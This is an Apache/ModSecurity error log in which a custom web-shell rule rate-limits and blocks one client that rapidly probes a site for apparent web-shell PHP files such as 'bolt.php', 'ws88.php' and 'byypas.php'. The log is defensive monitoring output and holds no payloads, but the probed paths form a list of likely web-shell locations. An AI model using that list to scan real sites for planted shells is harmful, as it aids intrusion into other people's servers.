[Sat Apr 04 04:44:57.065667 2026] [:error] [pid 2459:tid 2544] [client 168.63.57.185:18741] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adAmyQefyCmu4LR_PlpW6QAAAIw"]
[Sat Apr 04 04:44:57.710178 2026] [:error] [pid 2459:tid 2550] [client 168.63.57.185:22157] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "adAmyQefyCmu4LR_PlpW7QAAAJI"]
[Sat Apr 04 04:44:58.240427 2026] [:error] [pid 2567:tid 2574] [client 168.63.57.185:45245] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adAmymJJmfRsTrAKjdQzbwAAAMA"]
[Sat Apr 04 04:44:58.846454 2026] [:error] [pid 2459:tid 2542] [client 168.63.57.185:41733] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adAmygefyCmu4LR_PlpW7gAAAIo"]
[Sat Apr 04 04:44:59.505052 2026] [:error] [pid 2567:tid 2595] [client 168.63.57.185:27501] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adAmy2JJmfRsTrAKjdQzdAAAANU"]
[Sat Apr 04 04:45:00.029361 2026] [:error] [pid 2567:tid 2578] [client 168.63.57.185:14119] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adAmzGJJmfRsTrAKjdQzdwAAAMQ"]
[Sat Apr 04 04:45:00.621004 2026] [:error] [pid 2567:tid 2596] [client 168.63.57.185:3926] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adAmzGJJmfRsTrAKjdQzeQAAANY"]
[Sat Apr 04 04:45:01.147731 2026] [:error] [pid 2457:tid 2477] [client 168.63.57.185:22165] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adAmzUmNHppaMd92ZpdGogAAAAA"]
[Sat Apr 04 04:45:01.686840 2026] [:error] [pid 2457:tid 2482] [client 168.63.57.185:21764] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adAmzUmNHppaMd92ZpdGpAAAAAU"]
[Sat Apr 04 04:45:02.337835 2026] [:error] [pid 2567:tid 2597] [client 168.63.57.185:50690] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Sanskrit.php"] [unique_id "adAmzmJJmfRsTrAKjdQzggAAANc"]
[Sat Apr 04 04:45:02.863871 2026] [:error] [pid 2567:tid 2580] [client 168.63.57.185:41742] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAmzmJJmfRsTrAKjdQzhQAAAMY"]
[Sat Apr 04 04:45:03.508101 2026] [:error] [pid 2458:tid 2511] [client 168.63.57.185:11281] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAmzyNozic5SuWqclnLSgAAAEc"]
[Sat Apr 04 04:45:04.050278 2026] [:error] [pid 2457:tid 2488] [client 168.63.57.185:45199] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAm0EmNHppaMd92ZpdGpgAAAAs"]
[Sat Apr 04 04:45:04.762080 2026] [:error] [pid 2458:tid 2526] [client 168.63.57.185:19135] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/public/mI35rZhMg1zJ1vuXdefault.php"] [unique_id "adAm0CNozic5SuWqclnLTQAAAFY"]
[Sat Apr 04 04:45:05.371634 2026] [:error] [pid 2457:tid 2498] [client 168.63.57.185:13951] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adAm0UmNHppaMd92ZpdGqAAAABU"]
[Sat Apr 04 04:45:05.921160 2026] [:error] [pid 2459:tid 2547] [client 168.63.57.185:11287] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adAm0QefyCmu4LR_PlpW-QAAAI8"]
[Sat Apr 04 04:45:06.527168 2026] [:error] [pid 2459:tid 2555] [client 168.63.57.185:45193] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adAm0gefyCmu4LR_PlpW-wAAAJc"]
[Sat Apr 04 04:45:07.336289 2026] [:error] [pid 2567:tid 2581] [client 168.63.57.185:19102] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws88.php"] [unique_id "adAm02JJmfRsTrAKjdQzjgAAAMc"]
[Sat Apr 04 04:45:07.964956 2026] [:error] [pid 2458:tid 2516] [client 168.63.57.185:19091] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adAm0yNozic5SuWqclnLVAAAAEw"]
[Sat Apr 04 04:45:08.563838 2026] [:error] [pid 2458:tid 2511] [client 168.63.57.185:15454] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adAm1CNozic5SuWqclnLVwAAAEc"]
[Sat Apr 04 04:45:09.224461 2026] [:error] [pid 2458:tid 2526] [client 168.63.57.185:41748] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adAm1SNozic5SuWqclnLWgAAAFY"]
[Sat Apr 04 04:45:09.843777 2026] [:error] [pid 37114:tid 37121] [client 168.63.57.185:32353] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/6xBAm3vODE05BSzkJZRAws.php"] [unique_id "adAm1c-DnSj3fGMexeJizQAAAQU"]
[Sat Apr 04 04:45:10.588791 2026] [:error] [pid 37114:tid 37140] [client 168.63.57.185:13949] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adAm1s-DnSj3fGMexeJizgAAARg"]
[Sat Apr 04 04:45:11.196066 2026] [:error] [pid 2567:tid 2584] [client 168.63.57.185:42364] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adAm12JJmfRsTrAKjdQzkwAAAMo"]
[Sat Apr 04 04:45:11.759358 2026] [:error] [pid 2459:tid 2546] [client 168.63.57.185:44554] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adAm1wefyCmu4LR_PlpXCwAAAI4"]
[Sat Apr 04 04:45:12.364336 2026] [:error] [pid 2458:tid 2513] [client 168.63.57.185:41755] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/CDX1.php"] [unique_id "adAm2CNozic5SuWqclnLXwAAAEk"]
[Sat Apr 04 04:45:12.915373 2026] [:error] [pid 2458:tid 2518] [client 168.63.57.185:18714] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adAm2CNozic5SuWqclnLYAAAAE4"]
[Sat Apr 04 04:45:13.446543 2026] [:error] [pid 2457:tid 2477] [client 168.63.57.185:3965] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adAm2UmNHppaMd92ZpdGrAAAAAA"]
[Sat Apr 04 04:45:14.035343 2026] [:error] [pid 2457:tid 2488] [client 168.63.57.185:27467] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adAm2kmNHppaMd92ZpdGrgAAAAs"]
[Sat Apr 04 04:45:15.125997 2026] [:error] [pid 37114:tid 37135] [client 168.63.57.185:34778] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8daf1238_1774208172.php"] [unique_id "adAm28-DnSj3fGMexeJi2wAAARM"]
[Sat Apr 04 04:45:15.781855 2026] [:error] [pid 2457:tid 2500] [client 168.63.57.185:34766] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adAm20mNHppaMd92ZpdGtAAAABc"]
[Sat Apr 04 04:45:16.397320 2026] [:error] [pid 2457:tid 2485] [client 168.63.57.185:19114] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adAm3EmNHppaMd92ZpdGuAAAAAg"]
[Sat Apr 04 04:45:16.903108 2026] [:error] [pid 2459:tid 2545] [client 168.63.57.185:27464] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adAm3AefyCmu4LR_PlpXDgAAAI0"]
[Sat Apr 04 04:45:17.437744 2026] [:error] [pid 2567:tid 2578] [client 168.63.57.185:52036] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ortasekerli1.php"] [unique_id "adAm3WJJmfRsTrAKjdQznwAAAMQ"]
[Sat Apr 04 04:45:18.136758 2026] [:error] [pid 2458:tid 2517] [client 168.63.57.185:31691] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adAm3iNozic5SuWqclnLawAAAE0"]
[Sat Apr 04 04:45:18.859553 2026] [:error] [pid 2458:tid 2510] [client 168.63.57.185:13888] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adAm3iNozic5SuWqclnLcgAAAEY"]
[Sat Apr 04 04:45:19.490912 2026] [:error] [pid 2458:tid 2506] [client 168.63.57.185:29752] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adAm3yNozic5SuWqclnLeAAAAEI"]
[Sat Apr 04 04:45:20.046556 2026] [:error] [pid 2457:tid 2489] [client 168.63.57.185:25883] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bgymj.php"] [unique_id "adAm4EmNHppaMd92ZpdGwQAAAAw"]
[Sat Apr 04 04:45:20.593297 2026] [:error] [pid 2457:tid 2486] [client 168.63.57.185:29750] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adAm4EmNHppaMd92ZpdGxAAAAAk"]
[Sat Apr 04 04:45:21.169529 2026] [:error] [pid 2567:tid 2585] [client 168.63.57.185:55179] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adAm4WJJmfRsTrAKjdQzogAAAMs"]
[Sat Apr 04 04:45:21.773060 2026] [:error] [pid 2567:tid 2590] [client 168.63.57.185:37359] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adAm4WJJmfRsTrAKjdQzowAAANA"]
[Sat Apr 04 04:45:22.347861 2026] [:error] [pid 2567:tid 2592] [client 168.63.57.185:9425] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lmutxdvyp7u5yksqke8ozbjgCdefault.php"] [unique_id "adAm4mJJmfRsTrAKjdQzpQAAANI"]
[Sat Apr 04 04:45:22.903209 2026] [:error] [pid 2458:tid 2523] [client 168.63.57.185:25877] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adAm4iNozic5SuWqclnLjAAAAFM"]
[Sat Apr 04 04:45:23.426144 2026] [:error] [pid 2459:tid 2534] [client 168.63.57.185:37347] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adAm4wefyCmu4LR_PlpXGAAAAIM"]
[Sat Apr 04 04:45:23.961813 2026] [:error] [pid 37114:tid 37116] [client 168.63.57.185:9468] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adAm48-DnSj3fGMexeJi4AAAAQA"]
[Sat Apr 04 04:45:24.473983 2026] [:error] [pid 2458:tid 2511] [client 168.63.57.185:3505] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wziar1.php"] [unique_id "adAm5CNozic5SuWqclnLlwAAAEc"]
[Sat Apr 04 04:45:25.033022 2026] [:error] [pid 37114:tid 37122] [client 168.63.57.185:55222] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "adAm5c-DnSj3fGMexeJi4wAAAQY"]
[Sat Apr 04 04:45:25.561174 2026] [:error] [pid 2567:tid 2583] [client 168.63.57.185:16099] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "adAm5WJJmfRsTrAKjdQzrgAAAMk"]
[Sat Apr 04 04:45:26.220506 2026] [:error] [pid 2459:tid 2544] [client 168.63.57.185:16085] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "adAm5gefyCmu4LR_PlpXHQAAAIw"]
[Sat Apr 04 04:45:26.736781 2026] [:error] [pid 2459:tid 2546] [client 168.63.57.185:30417] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jga.php"] [unique_id "adAm5gefyCmu4LR_PlpXHgAAAI4"]
[Sat Apr 04 04:45:27.263018 2026] [:error] [pid 2457:tid 2483] [client 168.63.57.185:29704] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adAm50mNHppaMd92ZpdG0AAAAAY"]
[Sat Apr 04 04:45:27.834150 2026] [:error] [pid 37114:tid 37130] [client 168.63.57.185:30427] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adAm58-DnSj3fGMexeJi7QAAAQ4"]
[Sat Apr 04 04:45:28.558155 2026] [:error] [pid 37114:tid 37134] [client 168.63.57.185:46550] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adAm6M-DnSj3fGMexeJi7wAAARI"]
[Sat Apr 04 04:45:29.452048 2026] [:error] [pid 37114:tid 37131] [client 168.63.57.185:37350] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byypas.php"] [unique_id "adAm6c-DnSj3fGMexeJi9gAAAQ8"]
[Sat Apr 04 04:45:30.119593 2026] [:error] [pid 2567:tid 2595] [client 168.63.57.185:55229] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adAm6mJJmfRsTrAKjdQzvQAAANU"]
[Sat Apr 04 04:45:30.644979 2026] [:error] [pid 37114:tid 37136] [client 168.63.57.185:46566] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adAm6s-DnSj3fGMexeJi-QAAARQ"]
